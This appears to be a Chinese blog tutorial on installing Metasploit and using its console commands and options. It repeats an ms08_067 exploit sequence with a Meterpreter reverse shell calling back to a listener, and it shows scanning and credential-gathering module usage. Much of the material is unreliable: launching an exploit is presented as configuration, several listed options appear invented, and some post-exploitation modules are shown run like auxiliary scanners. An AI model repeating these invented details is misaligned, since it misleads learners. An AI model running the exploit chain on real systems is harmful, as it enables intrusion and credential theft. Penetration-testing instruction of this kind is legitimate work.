Metasploit的使用和配置
预计更新
第一章 Metasploit的使用和配置
1.1 安装和配置Metasploit
1.2 Metasploit的基础命令和选项
1.3 高级选项和配置
第二章 渗透测试的漏洞利用和攻击方法
1.1 渗透测试中常见的漏洞类型和利用方法
1.2 Metasploit的漏洞利用模块和选项
1.3 模块编写和自定义
第三章 Metasploit的提权和后渗透
1.1 提权的概念和意义
1.2 Metasploit的提权模块和技术
1.3 后渗透的概念和技术
第四章 Metasploit的社会工程学和反向渗透
1.1 社会工程学的概念和技术
1.2 Metasploit的社会工程学模块和技术
1.3 反向渗透的概念和技术
第五章 Metasploit的网络流量分析和嗅探
1.1 网络流量分析和嗅探的基础知识
1.2 Metasploit的网络流量分析和嗅探模块和技术
1.3 网络流量分析和嗅探的高级技术和工具
第六章 Metasploit的远程执行和管理
1.1 远程执行和管理的概念和意义
1.2 Metasploit的远程执行和管理模块和技术
1.3 远程执行和管理的高级技术和工具
第七章 Metasploit的漏洞挖掘和利用
1.1 漏洞挖掘的概念和技术
1.2 Metasploit的漏洞挖掘模块和技术
1.3 漏洞挖掘的高级技术和工具
第八章 Metasploit的安全防御和逃逸
1.1 安全防御和逃逸的概念和意义
1.2 Metasploit的安全防御和逃逸模块和技术
1.3 安全防御和逃逸的高级技术和工具
第九章 Metasploit在红队作战中的应用
1.1 红队作战的概念和意义
1.2 Metasploit在红队作战中的应用场景和技术
1.3 红队作战的高级技术和工具
第十章 Metasploit在蓝队防御中的应用
1.1 蓝队防御的概念和意义
1.2 Metasploit在蓝队防御中的应用场景和技术
1.3 蓝队防御的高级技术和工具
第一章 Metasploit的使用和配置
1.1 安装和配置Metasploit
1.2 Metasploit的基础命令和选项
1.3 高级选项和配置
安装和配置Metasploit
在不同的操作系统上安装和配置Metasploit可能会有一些不同,因此在本文中,我们将分别介绍如何在Linux、Windows和macOS上安装和配置Metasploit,并提供详细的步骤和常见问题的解决方法。
一、在Linux上安装和配置Metasploit
Metasploit在Linux上的安装相对简单,可以通过包管理器或源码编译进行安装。以下是在Ubuntu 20.04上安装和配置Metasploit的步骤:
-
安装依赖项
在安装Metasploit之前,需要安装一些必要的依赖项,包括Ruby和PostgreSQL等。可以通过以下命令完成:
sudo apt update sudo apt install ruby-full postgresql nmap -
下载和安装Metasploit
在安装依赖项之后,可以下载并安装Metasploit。Metasploit官方网站提供了Metasploit Community Edition的二进制包下载,我们可以前往官网下载最新版本的Metasploit Community Edition。
下载完成后,可以使用以下命令安装Metasploit:
sudo dpkg -i metasploit*.deb -
初始化数据库和文件系统
安装完成后,需要初始化Metasploit的数据库和文件系统。可以使用以下命令完成:
sudo msfdb init -
启动Metasploit
初始化完成后,可以使用以下命令启动Metasploit:
sudo msfconsole第一次启动时,Metasploit会自动初始化数据库和文件系统,这个过程可能需要一些时间,需要等待一段时间才能完成。
-
配置Metasploit
Metasploit的配置需要针对不同的使用场景进行调整,包括模块和选项的配置、漏洞库的更新和维护、日志和报告的生成和管理等。可以使用以下命令来配置Metasploit:
msf > use exploit/windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > set RHOSTS 192.168.1.100 msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp msf exploit(ms08_067_netapi) > set LHOST 192.168.1.101 msf exploit(ms08_067_netapi) > set LPORT 4444 msf exploit(ms08_067_netapi) > exploit
二、在Windows上安装和配置Metasploit
在Windows上安装和配置Metasploit可以通过以下步骤完成:
-
下载和安装Ruby环境
Metasploit是基于Ruby编写的,需要安装Ruby环境。可以前往Ruby官网下载最新版本的Ruby安装程序,并按照提示进行安装。
-
下载和安装Metasploit
Metasploit官方网站提供了Metasploit Community Edition的Windows安装程序下载,我们可以前往官网下载最新版本的Metasploit Community Edition。
下载完成后,可以双击安装程序并按照提示进行安装。
-
配置环境变量
安装完成后,需要配置环境变量。可以右键单击“计算机”图标,选择“属性”->“高级系统设置”->“环境变量”,在系统变量中添加以下两个变量:
MSF_DATABASE_CONFIG=C:\metasploit-framework\config\database.yml MSF_LOG_DIR=C:\metasploit-framework\logs -
初始化数据库和文件系统
安装完成后,需要初始化Metasploit的数据库和文件系统。可以使用以下命令完成:
cd C:\metasploit-framework\bin msfdb init -
启动Metasploit
初始化完成后,可以使用以下命令启动Metasploit:
cd C:\metasploit-framework\bin msfconsole.bat第一次启动时,Metasploit会自动初始化数据库和文件系统,这个过程可能需要一些时间,需要等待一段时间才能完成。
-
配置Metasploit
Metasploit的配置需要针对不同的使用场景进行调整,包括模块和选项的配置、漏洞库的更新和维护、日志和报告的生成和管理等。可以使用以下命令来配置Metasploit:
msf > use exploit/windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > set RHOSTS 192.168.1.100 msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp msf exploit(ms08_067_netapi) > set LHOST 192.168.1.101 msf exploit(ms08_067_netapi) > set LPORT 4444 msf exploit(ms08_067_netapi) > exploit
三、在macOS上安装和配置Metasploit
在macOS上安装和配置Metasploit可以通过以下步骤完成:
-
安装Homebrew
Homebrew是macOS上的包管理器,可以通过以下命令安装:
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" -
安装依赖项
在安装Metasploit之前,需要安装一些必要的依赖项,包括Git、Ruby、PostgreSQL和Nmap等。可以使用以下命令完成:
brew install git ruby postgresql nmap -
下载和安装Metasploit
Metasploit官方网站提供了Metasploit Community Edition的源码下载,我们可以前往官网下载最新版本的Metasploit Community Edition。
下载完成后,可以使用以下命令安装Metasploit:
git clone https://github.com/rapid7/metasploit-framework.git cd metasploit-framework bundle install -
初始化数据库和文件系统
安装完成后,需要初始化Metasploit的数据库和文件系统。可以使用以下命令完成:
./msfdb init -
启动Metasploit
初始化完成后,可以使用以下命令启动Metasploit:
./msfconsole第一次启动时,Metasploit会自动初始化数据库和文件系统,这个过程可能需要一些时间,需要等待一段时间才能完成。
-
配置Metasploit
Metasploit的配置需要针对不同的使用场景进行调整,包括模块和选项的配置、漏洞库的更新和维护、日志和报告的生成和管理等。可以使用以下命令来配置Metasploit:
msf > use exploit/windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > set RHOSTS 192.168.1.100 msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp msf exploit(ms08_067_netapi) > set LHOST 192.168.1.101 msf exploit(ms08_067_netapi) > set LPORT 4444 msf exploit(ms08_067_netapi) > exploit
常见问题解决方法:
-
安装依赖项时,可能会出现依赖项无法安装、版本不匹配等问题。可以尝试使用不同的包管理器或手动安装依赖项。
-
初始化数据库和文件系统时,可能会出现连接数据库失败、文件系统无法创建等问题。可以检查数据库和文件系统的权限和配置,确保与Metasploit的配置一致。
-
启动Metasploit时,可能会出现端口被占用、Metasploit无法启动等问题。可以检查端口和进程占用情况,并根据错误提示进行排查。
-
配置Metasploit时,可能会出现模块无法加载、选项无法设置等问题。可以检查模块和选项的名称和语法是否正确,并根据错误提示进行排查。
-
在使用Metasploit进行攻击时,可能会出现漏洞利用失败、反弹shell失败等问题。可以检查目标系统和网络环境的配置和状态,并根据错误提示进行排查。
总之,在安装和使用Metasploit时,需要认真阅读官方文档和参考资料,了解Metasploit的基本原理和常用功能,掌握正确的配置和使用方法,同时要遵守法律和道德规范,不进行非法攻击和渗透测试。
Metasploit的基础命令和选项
Metasploit是一款功能强大的渗透测试工具,可以用于漏洞扫描、漏洞利用、后渗透等多个方面。在Metasploit中,有大量的命令和选项可以选择和使用,本文将详细介绍Metasploit的基础命令和选项,帮助用户更好地掌握Metasploit的使用方法。
一、Metasploit的基础命令
Metasploit的基础命令主要包括以下几个部分:
-
显示命令
显示命令用于显示Metasploit的当前状态和信息,包括模块、选项、会话、主机、漏洞等。常用的显示命令包括:
- help:显示帮助信息,可以使用“help <命令名>”显示指定命令的帮助信息。
- show:显示指定类型的信息,可以使用“show <类型>”显示指定类型的信息,包括模块、选项、会话、主机、漏洞等。
- search:搜索指定关键字的模块,可以使用“search <关键字>”搜索包含指定关键字的模块。
- info:显示指定模块的信息,可以使用“info <模块名>”显示指定模块的详细信息。
- version:显示Metasploit的版本信息。
-
设置命令
设置命令用于设置Metasploit的各种选项和参数,包括目标主机、漏洞利用类型、载荷类型等。常用的设置命令包括:
- set:设置指定选项的值,可以使用“set <选项名> <值>”设置指定选项的值。
- unset:取消指定选项的设置,可以使用“unset <选项名>”取消指定选项的设置。
- options:显示当前模块的可用选项和默认值。
- use:选择指定模块进行漏洞利用,可以使用“use <模块名>”选择指定模块进行漏洞利用。
-
运行命令
运行命令用于启动或停止Metasploit的各种功能,包括漏洞利用、载荷生成、后渗透等。常用的运行命令包括:
- exploit:运行当前选定的漏洞利用模块,可以使用“exploit”运行当前选定的漏洞利用模块。
- setg:设置全局选项的值,可以使用“setg <选项名> <值>”设置全局选项的值。
- unsetg:取消全局选项的设置,可以使用“unsetg <选项名>”取消全局选项的设置。
- jobs:管理后台任务,包括启动、停止、查看等。
- sessions:管理会话,包括查看、关闭、提权等。
-
编辑命令
编辑命令用于编辑Metasploit的各种配置文件和脚本,包括配置文件、模块、载荷、Exploit等。常用的编辑命令包括:
- load:加载指定的模块,可以使用“load <模块名>”加载指定的模块。
- save:保存当前会话或模块的状态,可以使用“save <文件名>”保存当前会话或模块的状态。
- edit:编辑指定的文件或模块,可以使用“edit <文件名>”编辑指定的文件或模块。
- reload:重新加载指定的模块或配置文件,可以使用“reload <模块名>”重新加载指定的模块或配置文件。
-
其他命令
其他命令包括一些常见的命令和功能,包括清屏、退出、重置等。常用的其他命令包括:
- clear:清屏,可以使用“clear”清除控制台屏幕。
- exit:退出Metasploit,可以使用“exit”退出Metasploit。
- reset:重置当前模块,可以使用“reset”重置当前模块的状态。
二、Metasploit的基础选项
Metasploit的基础选项主要包括以下几个部分:
-
目标选项
目标选项用于指定要攻击的目标主机或网络,包括IP地址、端口、协议等。常用的目标选项包括:
- RHOST:指定要攻击的目标主机的IP地址。
- RPORT:指定要攻击的目标主机的端口号。
- LHOST:指定本地主机的IP地址,用于生成反弹shell等。
- LPORT:指定本地主机的端口号,用于生成反弹shell等。
- PAYLOADHOST:指定用于生成载荷的主机的IP地址。
-
漏洞选项
漏洞选项用于指定要利用的漏洞类型和参数,包括漏洞名称、漏洞利用方式、漏洞利用参数等。常用的漏洞选项包括:
- PAYLOAD:指定要使用的载荷类型,包括反弹shell、Meterpreter等。
- TARGETURI:指定要攻击的Web应用程序的URI路径。
- USERNAME:指定要攻击的目标主机的用户名。
- PASSWORD:指定要攻击的目标主机的密码。
-
模块选项
模块选项用于指定要使用的模块和模块参数,包括模块名称、模块参数等。常用的模块选项包括:
- MODULE:指定要使用的模块名称,包括Exploit、Post、Payload等模块。
- VERBOSE:指定是否显示详细信息。
- THREADS:指定并发执行的线程数。
-
会话选项
会话选项用于指定要使用的会话和会话参数,包括会话ID、会话类型、会话参数等。常用的会话选项包括:
- SESSION:指定要使用的会话ID。
- SESSIONTYPE:指定要使用的会话类型,包括Meterpreter、Shell等。
- GROOMSIZE:指定Meterpreter会话的内存分配大小。
-
其他选项
其他选项包括一些常见的选项和功能,包括全局选项、调试选项、输出选项等。常用的其他选项包括:
- GLOBALS:指定全局选项的值。
- DEBUG:指定是否开启调试模式。
- OUTPUT:指定输出的格式和文件路径。
三、Metasploit的使用示例
以下是一些常见的Metasploit使用示例,供参考:
-
扫描目标主机漏洞
使用“db_nmap”命令进行端口扫描,找到目标主机开放的端口和服务:
msf > db_nmap -sS -p- <目标主机>使用“search”命令搜索漏洞模块:
msf > search <关键字>使用“use”命令选择要使用的漏洞模块:
msf > use <漏洞模块名称>设置目标选项和漏洞选项:
msf exploit(<漏洞模块名称>) > set RHOST <目标主机> msf exploit(<漏洞模块名称>) > set RPORT <目标端口> msf exploit(<漏洞模块名称>) > set PAYLOAD <载荷类型> msf exploit(<漏洞模块名称>) >使用“exploit”命令执行漏洞攻击:msf exploit(<漏洞模块名称>) > exploit
-
获取目标主机系统信息
使用“use”命令选择要使用的模块,如“windows/smb/smb_version”模块:
msf > use windows/smb/smb_version设置目标选项:
msf auxiliary(smb_version) > set RHOSTS <目标主机或IP地址>使用“run”命令执行模块:
msf auxiliary(smb_version) > run -
获取目标主机用户凭证
使用“use”命令选择要使用的模块,如“windows/gather/credentials/gpp”模块:
msf > use windows/gather/credentials/gpp设置目标选项:
msf auxiliary(gpp) > set RHOSTS <目标主机或IP地址>使用“run”命令执行模块:
msf auxiliary(gpp) > run -
获取目标主机网络信息
使用“use”命令选择要使用的模块,如“windows/gather/ipconfig”模块:
msf > use windows/gather/ipconfig设置目标选项:
msf auxiliary(ipconfig) > set RHOSTS <目标主机或IP地址>使用“run”命令执行模块:
msf auxiliary(ipconfig) > run
以上仅是Metasploit的一些基本使用示例,实际使用中需要根据具体情况选择合适的模块和选项。
高级选项和配置
Metasploit是一个功能强大的渗透测试工具,提供了丰富的漏洞利用模块和载荷,可以用于测试网络和应用程序的安全性。除了基本选项外,Metasploit还提供了许多高级选项和配置,本文将详细介绍这些选项和配置。
一、高级选项
-
渗透测试选项
渗透测试选项用于指定渗透测试的目标和方式,包括漏洞利用方式、攻击类型、扫描方式等。常用的渗透测试选项包括:
- EXPLOIT:指定要使用的漏洞利用模块。
- PAYLOAD:指定要使用的载荷类型,包括反弹shell、Meterpreter等。
- AUXILIARY:指定要使用的辅助模块,如信息收集、漏洞扫描等。
- POST:指定要使用的后渗透模块,如提取密码、执行命令等。
- SESSION:指定要使用的会话ID或会话类型,如Meterpreter、Shell等。
- ACTION:指定要执行的动作,如扫描、攻击、提权等。
- RHOSTS:指定要攻击的目标主机或IP地址。
- RPORTS:指定要攻击的目标端口或端口范围。
- THREADS:指定并发执行的线程数。
-
载荷选项
载荷选项用于指定载荷的功能和特性,包括加密方式、编码方式、延迟时间等。常用的载荷选项包括:
- ENCODER:指定要使用的编码器,用于绕过防御机制。
- ENCODING:指定要使用的编码方式,如base64、xor等。
- STAGER:指定要使用的stager类型,用于分阶段执行载荷。
- STAGEENCODER:指定要使用的stager编码器。
- LHOST:指定本地主机的IP地址,用于生成反弹shell等。
- LPORT:指定本地主机的端口号,用于生成反弹shell等。
- EXITFUNC:指定要使用的退出函数,用于退出载荷时清理残留数据。
- DELAY:指定要使用的延迟时间,用于延迟执行载荷。
-
模块选项
模块选项用于指定各种模块的参数和配置,包括漏洞利用模块、辅助模块、后渗透模块等。常用的模块选项包括:
- RHOST:指定要攻击的目标主机或IP地址。
- RPORT:指定要攻击的目标端口。
- LHOST:指定本地主机的IP地址,用于反弹shell等。
- LPORT:指定本地主机的端口号,用于反弹shell等。
- PAYLOAD:指定要使用的载荷类型。
- SESSION:指定要使用的会话ID或会话类型。
- USERNAME:指定要使用的用户名,用于提取密码等。
- PASSWORD:指定要使用的密码,用于提取密码等。
- DOMAIN:指定要使用的域名,用于提取密码等。
- VERBOSE:指定输出详细信息的级别。
二、高级配置
-
数据库配置
Metasploit可以使用数据库存储漏洞信息、凭证、主机信息等,以便进行更复杂的渗透测试和数据分析。常用的数据库配置包括:
- POSTGRES_HOST:指定PostgreSQL数据库服务器的IP地址或主机名。
- POSTGRES_PORT:指定PostgreSQL数据库服务器的端口号。
- POSTGRES_USER:指定连接数据库所需的用户名。
- POSTGRES_PASS:指定连接数据库所需的密码。
- POSTGRES_DB:指定要使用的数据库名称。
- DB_CONNECT_RETRIES:指定尝试连接数据库的次数。
- DB_CONNECT_INTERVAL:指定尝试连接数据库的时间间隔。
-
日志配置
Metasploit可以生成详细的日志信息,包括攻击过程、漏洞利用结果等。常用的日志配置包括:
- VERBOSE:指定输出详细信息的级别。
- LOGFILE:指定日志文件的路径和名称。
- LOGLEVEL:指定日志输出的级别,包括debug、info、warn、error等。
- LOGHANDLER:指定日志处理器,如file、console、syslog等。
-
代理配置
Metasploit可以通过代理服务器进行渗透测试,以便绕过网络限制和防御机制。常用的代理配置包括:
- PROXYURL:指定代理服务器的URL地址。
- PROXYPORT:指定代理服务器的端口号。
- PROXYUSER:指定连接代理服务器所需的用户名。
- PROXYPASS:指定连接代理服务器所需的密码。
-
其他配置
Metasploit还提供了许多其他的高级配置选项,包括:
- MODULE_PATH:指定模块文件的路径。
- PAYLOAD_PATH:指定载荷文件的路径。
- EXIT_ON_SESSION:指定是否在会话结束时退出Metasploit。
- EXIT_ON_FAILURE:指定是否在失败时退出Metasploit。
- SESSION_TIMEOUT:指定会话超时时间。
- MAX_THREADS:指定并发执行的最大线程数。
总结
Metasploit的高级选项和配置提供了丰富的功能和扩展性,可以满足各种渗透测试的需求。在使用Metasploit进行渗透测试时,需要根据具体情况选择合适的选项和配置,并理解其原理和影响,以便更好地发挥其作用。
相关文章:
Metasploit的使用和配置
预计更新 第一章 Metasploit的使用和配置 1.1 安装和配置Metasploit 1.2 Metasploit的基础命令和选项 1.3 高级选项和配置 第二章 渗透测试的漏洞利用和攻击方法 1.1 渗透测试中常见的漏洞类型和利用方法 1.2 Metasploit的漏洞利用模块和选项 1.3 模块编写和自定义 第三章 Me…...
测试用例的设计思路
接到提测单后要做的事情: 测试准备阶段 确认提测单内包含的文件、URL地址可以访问确认需求 (迭代目标、用户故事、用户愿望、问题反馈等)确认回归测试范围、更新测试范围、新增测试范围编写测试点思维导图,过程中有问题及时进行沟通与迭代相关人员约一个…...
HCIP——交换综合实验
一、实验拓扑图 二、实验需求 1、PC1和PC3所在接口为access,属于vlan2;PC2/4/5/6处于同一网段,其中PC2可以访问PC4/5/6;但PC4可以访问PC5,不能访问PC6 2、PC5不能访问PC6 3、PC1/3与PC2/4/5/6/不在同一网段 4、所有PC通…...
大学生如何搭建自己的网站
这篇是我在大一的时候,写过的一篇文章。 前言 作为一名大学生,我觉得搭建个人网站很有意义。 这篇博客讲述的是这个寒假,我是如何从零到搭建好个人网站的过程。我提供的主要是具体的思路,也附带了一些零零散散的细节。时间跨度…...
linux 路由表的优先级
[rootlocalhost cc]# ip rule list 0: from all lookup local 32765: from 10.0.19.24 lookup 4096 32766: from all lookup main 32767: from all lookup default 现在有 4 条路由规则,优先级是怎样的,0 代表最低优先级还是最高优先级 在 Linux 的 IP …...
毕业项目分享
大家好,今天给大家分享112个有趣的Python实战项目,可以直接拿来实战练习,涵盖机器学习、爬虫、数据分析、数据可视化、大数据等内容,建议关注、收藏。 项目名称 主要技术 2023招聘数据分析可视化系统爬虫 7种薪资预测模型 Flas…...
Android启动系列之进程杀手--lmkd
本文概要 这是Android系统启动的第三篇文章,本文以自述的方式来讲解lmkd进程,通过本文您将了解到lmkd进程在安卓系统中存在的意义,以及它是如何杀进程的。(文中的代码是基于android13) 我是谁 init:“大…...
tex中的边框
文章目录 利用tcolorbox宏包给公式加框 利用tcolorbox宏包 tcolorbox可以创建一个盒子的环境,例如: \documentclass{article} \usepackage{tcolorbox} \begin{document}\begin{tcolorbox}[left1cm, right1cm, top0.5cm, bottom0.5cm,colbackblue!10!wh…...
面试题库之JAVA基础篇(三)
final 被final修饰的类不可以被继承。被final修改的方法不可以被重写。被final修改的方法,jvm会尝试内联,以提高运行效率。被final修改的变量不可变,如果修改的是引用,那么引用不可变,引用指向的对象内容可变。被fin…...
CTF-虚拟机-QEMU-前置知识-操作流程与源码阅读
文章目录 总览内存PCI设备PCI配置空间前64个字节对应源码Memorry空间的BARIO空间的BAR MMIOPMIOIspci访问PCI设备配置空间中的Memory空间和IO空间MMIOPMIO QQM(qemu object model)简洁概要将 TypeInfo 注册 TypeImpl:ObjectClass的初始化&…...
java成神秘籍第一卷
前言 适合还没有入行小白学习,有些朋友会跑来问我这行的一些问题,下面算是详细系统的整理了一下啦。 全当是学习 复盘 整理 记录了 java成神秘籍第一卷 前言一 前提1 要不要考公,考编,考研2 语言选择3 就业岗位4 目标5 考不考虑…...
golang实现文件上传(高并发+分块+断点续传+加密)
运行视频 // todo 根据前端传递文件加密 func (s *FileProcess) FileProcessEncryptionByFront(file multipart.File, h *multipart.FileHeader) interface{} { //根据字节直接处理文件 这个是前端传递的二进制流s.FileProcessInit() //文件初始化 设置原来文件…...
用HeidiSQL在MySQL中新建用户
用HeidiSQL登录到MySQL数据库,注意登录的时候要使用有权限的用户: 选择工具-》用户管理: 点击左上角的“添加”: 输入用户名、密码,并且分配权限: 点击右边的“添加对象”: 可以根据自己…...
【IPv6】IPv6协议
一、IPv6数据报格式 这是与v4报头的对比 1.8bit的版本保留了,v4版本就是4,v6就是6。 2.v6去除了v4的首部长度字段,因为v6的首部长是固定的40字节。 3.服务类型(Type of Service, ToS)和通信类型(Traffi…...
无需服务器,无需魔法,拥有一个微信机器人就是这么简单
前情提要 还没看过的朋友可以看一下上一篇文章《拥有一个微信机器人总共需要几步?》在这篇文章里,我们提到,创建微信机器人需要一个大前提--你得有一台服务器。现在,不再需要了!没错,上一篇提到的Serverles…...
1、命名空间、C++的复合类型、缺省参数
命名空间 1、命名空间的定义 使用namespace定义,使用作用域限定符::访问 #include <iostream> namespace ICBC{int money 0;void save( int m){money m;} } int main( void ){ICBC::save( 100); std::cout << "工行卡余额:"…...
colab notebook导出为PDF
目录 方法一:使用浏览器打印功能 方法二:使用nbconvert转换 方法三:在线转换 方法一:使用浏览器打印功能 一般快捷键是CTRLP 然后改变目标打印机为另存为PDF 这样就可以将notebook保存为PDF了 方法二:使用nbconver…...
【Python动漫系列】名侦探柯南(完整代码)
文章目录 名侦探柯南环境需求完整代码程序分析系列文章名侦探柯南 《名侦探柯南》是由青山刚昌创作的一部侦探漫画,于1994年开始连载,并被改编为动画、电影、游戏等多种形式。故事讲述了高中生侦探工藤新一在破案时被不良组织所毒害,身体缩小成了一个小学生,为了寻找解药并…...
【matlab】QR分解
QR分解 给定一个mn的矩阵A,其中m≥n,即矩阵A是高矩阵或者是方阵,QR分解将矩阵A分解为两个矩阵Q和R的乘积,其中矩阵Q是一个mn的各列正交的矩阵,即QTQI,矩阵R是一个nn的上三角矩阵,其对角线元素为…...
Liunx系统使用超详细(三)
本篇内容开始逐渐描述有关liunx的各种命令的使用方法! 目录 一、目录和文件区别 1.1目录: 1.2文件: 1.3总结: 二、Linux命令的写法 三、linux命令清屏 四、pwd命令 五、ls命令 5.1 ls: 5.2 ls -l:…...
Linux链表操作全解析
Linux C语言链表深度解析与实战技巧 一、链表基础概念与内核链表优势1.1 为什么使用链表?1.2 Linux 内核链表与用户态链表的区别 二、内核链表结构与宏解析常用宏/函数 三、内核链表的优点四、用户态链表示例五、双向循环链表在内核中的实现优势5.1 插入效率5.2 安全…...
PHP和Node.js哪个更爽?
先说结论,rust完胜。 php:laravel,swoole,webman,最开始在苏宁的时候写了几年php,当时觉得php真的是世界上最好的语言,因为当初活在舒适圈里,不愿意跳出来,就好比当初活在…...
项目部署到Linux上时遇到的错误(Redis,MySQL,无法正确连接,地址占用问题)
Redis无法正确连接 在运行jar包时出现了这样的错误 查询得知问题核心在于Redis连接失败,具体原因是客户端发送了密码认证请求,但Redis服务器未设置密码 1.为Redis设置密码(匹配客户端配置) 步骤: 1).修…...
ip子接口配置及删除
配置永久生效的子接口,2个IP 都可以登录你这一台服务器。重启不失效。 永久的 [应用] vi /etc/sysconfig/network-scripts/ifcfg-eth0修改文件内内容 TYPE"Ethernet" BOOTPROTO"none" NAME"eth0" DEVICE"eth0" ONBOOT&q…...
让回归模型不再被异常值“带跑偏“,MSE和Cauchy损失函数在噪声数据环境下的实战对比
在机器学习的回归分析中,损失函数的选择对模型性能具有决定性影响。均方误差(MSE)作为经典的损失函数,在处理干净数据时表现优异,但在面对包含异常值的噪声数据时,其对大误差的二次惩罚机制往往导致模型参数…...
Mysql8 忘记密码重置,以及问题解决
1.使用免密登录 找到配置MySQL文件,我的文件路径是/etc/mysql/my.cnf,有的人的是/etc/mysql/mysql.cnf 在里最后加入 skip-grant-tables重启MySQL服务 service mysql restartShutting down MySQL… SUCCESS! Starting MySQL… SUCCESS! 重启成功 2.登…...
纯 Java 项目(非 SpringBoot)集成 Mybatis-Plus 和 Mybatis-Plus-Join
纯 Java 项目(非 SpringBoot)集成 Mybatis-Plus 和 Mybatis-Plus-Join 1、依赖1.1、依赖版本1.2、pom.xml 2、代码2.1、SqlSession 构造器2.2、MybatisPlus代码生成器2.3、获取 config.yml 配置2.3.1、config.yml2.3.2、项目配置类 2.4、ftl 模板2.4.1、…...
【Linux手册】探秘系统世界:从用户交互到硬件底层的全链路工作之旅
目录 前言 操作系统与驱动程序 是什么,为什么 怎么做 system call 用户操作接口 总结 前言 日常生活中,我们在使用电子设备时,我们所输入执行的每一条指令最终大多都会作用到硬件上,比如下载一款软件最终会下载到硬盘上&am…...
水泥厂自动化升级利器:Devicenet转Modbus rtu协议转换网关
在水泥厂的生产流程中,工业自动化网关起着至关重要的作用,尤其是JH-DVN-RTU疆鸿智能Devicenet转Modbus rtu协议转换网关,为水泥厂实现高效生产与精准控制提供了有力支持。 水泥厂设备众多,其中不少设备采用Devicenet协议。Devicen…...
React核心概念:State是什么?如何用useState管理组件自己的数据?
系列回顾: 在上一篇《React入门第一步》中,我们已经成功创建并运行了第一个React项目。我们学会了用Vite初始化项目,并修改了App.jsx组件,让页面显示出我们想要的文字。但是,那个页面是“死”的,它只是静态…...
